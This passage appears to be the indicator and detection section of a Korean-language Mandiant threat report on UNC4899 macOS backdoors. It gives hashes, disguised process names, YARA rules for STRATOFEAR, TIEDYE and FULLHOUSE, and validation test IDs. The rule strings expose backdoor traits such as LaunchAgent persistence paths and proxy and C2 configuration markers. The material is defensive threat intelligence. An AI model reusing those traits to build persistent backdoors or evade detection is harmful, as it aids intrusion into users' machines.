5d18443f88f38ad7e3de62ac46489f649b4e8183b76fba902fb9a9ccf8a0d5c8

com.apple.privacy

TIEDYE encrypted configuration

b0e0e0d258fcd55d3cc5af2b4669e014

9b1c1013ad8d2c0144af74eff5a2afc454b7b858bb7a5cba312bfb0f531c8930

com.xpc.agent.plist

TIEDYE LaunchDaemon

15bfe67e912f224faef9c7f6968279c6

6f1c47566a46d252885858f928a3b855fb3fd03941e3571d152562d0c75c4d47

xpc.protect

TIEDYE backdoor (Mach-O ARM64)

N/A

f0854a28209e07a70d7847af4b2632e697bcb95f2c8fcead41eb9314710bd0c2

xpc.protect

TIEDYE backdoor (Mach-O ARM64)

 

XPdb IOCs

Filename

exec_signing_id

exec_cdhash

us.zoom.ZoomUpdate

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

npx-cli

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

com.docker.vmnat

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

com.google.kservice

p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7

ff975b95cfc65b6d19ca18993322cfeed282de04

xpc.protect

securityd-555549440fca1d2f1e613094b0c768d393f83d7f

c1fc3213bdb8f3139fd5d4b13e242441016c3c84

탐지 룰

YARA

M_APT_Backdoor_STRATOFEAR_1
{
    meta:   
        author = "Mandiant"
        description = "Detects instances of STRATOFEAR"
        md5 = "6d8194c003d0025fa92fbcbf2eadb6d1"
        platform = "OSX, Win64"
        malware_family = "STRATOFEAR"

    strings:
        $str1 = "-alone" ascii
        $str2 = "-psn" ascii
        $str3 = "embed://" ascii
        $str4 =  "proc_data" ascii
        $str5 = "udp://" ascii
        $str6 =  "Path : %s" ascii
        $str7 = "127.0.0.1" ascii

    condition:
             ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them

}
M_APT_Backdoor_TIEDYE_1 
{
    meta:
        author = "Mandiant"
        description = "Detects instances of TIEDYE"
        md5 = "15bfe67e912f224faef9c7f6968279c6"
        platforms = "OSX"
        malware_family = "TIEDYE"

    strings:
        $str1 = "%s/Library/LaunchAgents/com.%s.agent.plist" ascii
        $str2 = "/Library/LaunchDaemons/com.%s.agent.plist" ascii
        $str3 = "%s/.plugin%04d.so" ascii
        $str4 = "sw_vers -productVersion" ascii
        $str5 = "!proxy=http://" ascii
        $str6 = "Content-Type: application/octet-stream" ascii
        $str7 = "<key>RunAtLoad</key>" ascii
        $str8 = "<string>com.%s.agent</string>" ascii
        $str9 = "%sProxy-Authorization: %s" ascii
        $str10 = "!udp_type"
        $str11 = "!http="

    condition:
                  ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
FE_APT_Backdoor_MacOS_FULLHOUSE_1 
{

    meta:
        author = "FireEye"
        description = "Detects instances of FULLHOUSE."
        platforms = "OSX"
        malware_family = "FULLHOUSE"

    strings:
        $s1 = /<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>/ wide
        $sb1 = { E8 [4-32] 83 F8 ?? 0F 87 [4] 48 8D 0D [4] 48 63 04 81 48 01 C8 FF E0 }

    condition:
        ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them

}

Mandiant Security Validation Actions

다음의 사항들을 Mandiant Security Validation.을 통해 보안 효과성 검사를 실행해 볼 수 있습니다. 

VID

Name

A106-587

Command and Control - UNC4899, DNS Query, Variant #2

A106-588

Command and Control - UNC4899, DNS Query, Variant #1

A106-589

Command and Control - UNC4899, STRATOFEAR, DNS Query, Variant #1

A106-590

Command and Control - UNC4899, TIEDYE, DNS Query, Variant #1

A106-591

Command and Control - UNC4899, TIEDYE, DNS Query, Variant #2

A106-592

Command and Control - UNC4899, STRATOFEAR, DNS Query, Variant #2

A106-593

Malicious File Transfer - UNC4899, TIEDYE, Download, Variant #1

A106-594

Malicious File Transfer - UNC4899, STRATOFEAR, Download, Variant #1

게시 위치